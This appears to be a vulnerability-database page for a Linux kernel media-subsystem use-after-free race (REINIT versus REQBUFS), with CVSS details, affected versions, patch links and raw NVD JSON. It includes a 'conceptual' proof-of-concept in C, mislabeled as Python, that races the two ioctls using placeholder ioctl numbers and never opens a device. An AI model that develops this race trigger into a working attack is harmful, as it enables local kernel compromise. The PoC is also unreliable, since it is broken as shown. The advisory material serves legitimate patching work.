CVE-2026-31473

Description

In the Linux kernel, the following vulnerability has been resolved: media: mc, v4l2: serialize REINIT and REQBUFS with req_queue_mutex MEDIA_REQUEST_IOC_REINIT can run concurrently with VIDIOC_REQBUFS(0) queue teardown paths. This can race request object cleanup against vb2 queue cancellation and lead to use-after-free reports. We already serialize request queueing against STREAMON/OFF with req_queue_mutex. Extend that serialization to REQBUFS, and also take the same mutex in media_request_ioctl_reinit() so REINIT is in the same exclusion domain. This keeps request cleanup and queue cancellation from running in parallel for request-capable devices.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pthread.h>

// Conceptual Proof of Concept for CVE-2026-31473
// This code demonstrates the race condition between
// MEDIA_REQUEST_IOC_REINIT and VIDIOC_REQBUFS(0).

#define MEDIA_REQUEST_IOC_REINIT 0x0
#define VIDIOC_REQBUFS 0x0

int fd;

void *thread_reinit(void *arg) {
    while (1) {
        // Continuously trigger REINIT ioctl
        // This races with the queue teardown in the other thread
        ioctl(fd, MEDIA_REQUEST_IOC_REINIT, 0);
    }
    return NULL;
}

void *thread_reqbufs(void *arg) {
    struct v4l2_requestbuffers reqbufs = {0};
    reqbufs.count = 0; // Teardown the queue
    reqbufs.type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
    
    while (1) {
        // Continuously trigger REQBUFS(0) ioctl
        // This releases memory that REINIT might try to access
        ioctl(fd, VIDIOC_REQBUFS, &reqbufs);
    }
    return NULL;
}

int main() {
    // Setup: Open a vulnerable media device
    // fd = open("/dev/video0", O_RDWR);
    // Implementation requires a specific device supporting requests

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_reinit, NULL);
    pthread_create(&t2, NULL, thread_reqbufs, NULL);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    
    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31473
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31473
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31473/
[4] VulDB https://vuldb.com/cve/CVE-2026-31473
[5] https://git.kernel.org/stable/c/1a0d9083c24fbd5d22f7100f09d11e4d696a5f01
[6] https://git.kernel.org/stable/c/2c685e99efb3b3bd2b78699fba6b1cf321975db0
[7] https://git.kernel.org/stable/c/331242998a7ade5c2f65e14988901614629f3db5
[8] https://git.kernel.org/stable/c/585fd9a2063dacce8b2820f675ef23d5d17434c5
[9] https://git.kernel.org/stable/c/72b9e81e0203f03c40f3adb457f55bd4c8eb112d
[10] https://git.kernel.org/stable/c/bef4f4a88b73e4cc550d25f665b8a9952af22773
[11] https://git.kernel.org/stable/c/cf2023e84f0888f96f4b65dc0804e7f3651969c1
[12] https://git.kernel.org/stable/c/d8549a453d5bdc0a71de66ad47a1106703406a56

Raw JSON Data

JSON

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Extend that serialization to REQBUFS, and also take\nthe same mutex in media_request_ioctl_reinit() so REINIT is in the\nsame exclusion domain.\n\nThis keeps request cleanup and queue cancellation from running in\nparallel for request-capable devices."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "99763E34-9798-4EED-94CE-E0AFF0E63F37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.20:-:*:*:*:*:*:*", "matchCriteriaId": "1072305B-94A8-4D68-9419-B786885AA310"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1a0d9083c24fbd5d22f7100f09d11e4d696a5f01", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2c685e99efb3b3bd2b78699fba6b1cf321975db0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/331242998a7ade5c2f65e14988901614629f3db5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/585fd9a2063dacce8b2820f675ef23d5d17434c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/72b9e81e0203f03c40f3adb457f55bd4c8eb112d", "source": "416baaa9 ... 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